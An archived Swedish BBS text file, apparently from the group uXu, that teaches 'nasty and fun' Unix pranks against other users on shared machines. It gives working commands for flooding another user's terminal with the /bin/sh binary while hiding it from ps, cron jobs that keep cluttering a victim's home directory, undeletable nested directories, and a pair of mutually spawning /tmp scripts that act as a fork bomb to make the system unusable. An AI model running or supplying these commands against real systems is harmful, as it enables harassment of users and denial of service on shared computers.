home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Cuteskunk BBS
/
cuteskunk.zip
/
cuteskunk
/
Swedish
/
elaka_o_roliga_trix_i_unix.txt
< prev
next >
Wrap
Text File
|
2003-06-29
|
6KB
|
175 lines
### ###
### ###
### #### ### ### ### ####
### ### ##### ### ###
### ### ### ### ###
### ### ##### ### ###
########## ### ### ##########
### ###
### ###
Underground eXperts United
Presenterar...
Intressant Svenskt Stoff
[#004- Elaka och Roliga Trix i Unix ]
_____________________________________________________________________
----------------------------------
Elaka och Roliga Trix i Unix
----------------------------------
Den h╤r texten ╤r enbart till fεr nεjets skull, och jag uppmanar ingen att
anv╤nda n▄gra av de trix som finns beskrivna, men visst kan det vara skoj
med ett aprilsk╤mt d▄ och d▄? :-)
Obs! Texten ╤r menad till personer som inte ╤r s▄ hemma med UNIX, men ╤nd▄
skulle vilja l╤ra sig n▄gra roliga trix att ta till ibland.
OK. Fεr att bεrja med n▄gra simpla saker som har med crontab'en att gεra..
(Fεr er som inte ens vet vad en crontab ╤r, men ╤nd▄ ╤r i desperat behov
av att skaffa en, skriv ett brev till mig p▄ te.x The Stash s▄ ska jag
fεrklara vad det ╤r. Om du inte vill skriva ett brev till mig kan du ju
alltid ta och sl▄ upp crontab i fεrsta b╤sta UNIX-Manual.)
Om ni p▄ jobbet/skolan te.x kεr p▄ en Sparc och har mεjlighet att spela upp
en sampling eller liknande, gεr en crontab som spelar upp samplingen te.x
var 10'nde minut eller liknande. Alltid irriterande fεr den som sitter
vid datorn. L╤mplig sampling kan te.x vara ett hundskall.
Om du p▄ n▄t s╤tt lyckats f▄ chansen att anv╤nda en anv╤ndare som du inte
alls tycker om eller vill spela ett spratt och som inte ╤r s▄ bekant med
UNIX, gεr en crontab ▄t honom som endast gεr ett directory i hans home
te.x var 10'nde minut. Jag kan garantera att det kommer att bli jobbigt fεr
honom/henne att radera alla diretorys vid varje inloggning..
---
Om du vill stεra user'n kalle s▄ kan du skriva in fεljande rad:
$write kalle </bin/sh
Kalle kommer d▄ att se en massa skr╤p p▄ sin sk╤rm.
Om du vill skydda dig fr▄n s▄dana saker kan du skriva:
$mesg n
.. vilket dock har den lilla nackdelen att du inte heller kan skriva n▄t
heller, utan att gεra en mesg y igen ...
Om kalle's tty-fil ╤r skrivbar kan du helt enkelt skriva in fεljande:
$cat /bin/sh >/dev/kalles_tty
Om du inte vill att kalle ska se att det ╤r du som skickar filen genom ps
kommandot kan du skriva:
$cat </bin/sh >/dev/kalles_tty
(D▄ visas bara cat p▄ ps-listan)
En variant p▄ det temat ╤r att skriva ett brev till kalle, inneh▄llande
/bin/sh. Detta kan ordnas genom att skriva fεljande:
$mail -sEtt_subjekt kalle </bin/sh
Om du vill undvika att f▄ en shell i mailet kan du kolla l╤ngden p▄ din
mail-fil, och eventuellt cat'a den och se vad den inneh▄ller. Detta
eftersom erfarenheter s╤ger att det ╤r l╤ttare att avbryta en cat'ning ╤n
i mail-programmet.
---
En annan simpel liten sak ╤r att gεra en fil som bεrjar med tecknet '-'
rm och mv kommer d▄ att ta filnamnet som options...
Detta kan gεras genom att skriva in fεljande rad:
$cat /tmp/din_text >-Haha..
Filen kan dock raderas genom att skriva:
$rm ./-Haha..
.. men det kan du ju εverl▄ta ▄t den utsatte att lista ut :) ..
---
Om du vill vara steget elakare kan du (om du f▄r skriva till ngn annans home)
skapa directorys unde varandra med l▄▄▄▄▄▄nga namn.
(Risken finns dock att shellen krashar pga att filnamnet blir fεr l▄ngt :)
N╤r sedan stackars kalle, eller vem du nu har valt, ska radera alla de fina
directorys som du har gjort kommer ngt i denna v╤gen att intr╤ffa:
$rm -r ditt_fina_directory_som_har_ett_v╤ldigt_l▄ngt_namn
rm: filename too long:
ditt_fina_directory_som_har_ett_v╤ldigt_l▄ngt_namn/ditt_fina_directory
_som_har_ett_v╤ldigt_l▄ngt_namn/ditt_fina_directory_som_har_ett_v╤ldigt_l▄
ngt_namn/ditt_fina_directory_som_har_ett_v╤ldigt_l▄ngt_namn/ditt_fina_dire
ctory_som_har_ett_v╤ldigt_l▄ngt_namn/ditt_fina_directory_som_har_ett_v╤ldig
ditt_fina_directory_som_har_ett_v╤ldigt_l▄ngt_namn/t_l▄ngt_namn/ditt_fina_
directory_som_har_ett_v╤ldigt_l▄ngt_namn/ditt_fina_directory_som_har_ett_v
╤ldigt_l▄ngt_namn/ditt_fina_directory_som_har_ett_v╤ldigt_l▄ngt_namn
$
Det som intr╤ffar ╤r helt enkelt att rm's buffer inte rymmer pathen till
directoryt, och d╤rfεr heller ej kan radera det...
Fεr att ta bort denna typen av directorys m▄ste man fεrst cd'a sig en bit
ner och sedan radera 'nerifr▄n och upp'
---
Om du vill gεra dator'n lite sv▄ranv╤ndlig, skriv d▄ in fεljande program:
Namn: /tmp/prog1
----START----START----START----START----START----START----START----
/tmp/prog2 &
ps -alx >/dev/null &
/tmp/prog1
----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT-----
Namn: /tmp/prog2
----START----START----START----START----START----START----START----
/tmp/prog1 &
ps -alx >/dev/null &
/tmp/prog2
----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT-----
Skriv sedan in fεljande:
$chmod 777 /tmp/prog1
$chmod 777 /tmp/prog2
$/tmp/prog1 &
OK.. Du har nu n▄tt slutet av denna "eminanta" text, som inte gav s▄ mycket.
Kom bara ih▄g att inte anv╤nda n▄gon av dessa sm▄ saker, om du nu inte har
managern's tillst▄nd. Starta speciellt inte de sista programmen, eftersom det
kommer att fεrsv▄ra fεr andra att logga in, och fεrsv▄ra fεr de som redan ╤r
p▄loggade att gεra n▄gonting...
I forts╤ttningen kanske jag skriver n▄t om hur man 'εkar sin access' p▄ UNIX.
Visst vet jag att det finns massor av texter med det temat, men hur m▄nga av
dem ╤r p▄ svenska?
______________________________________________________________________________
uXu Av Rubicon uXu
______________________________________________________________________________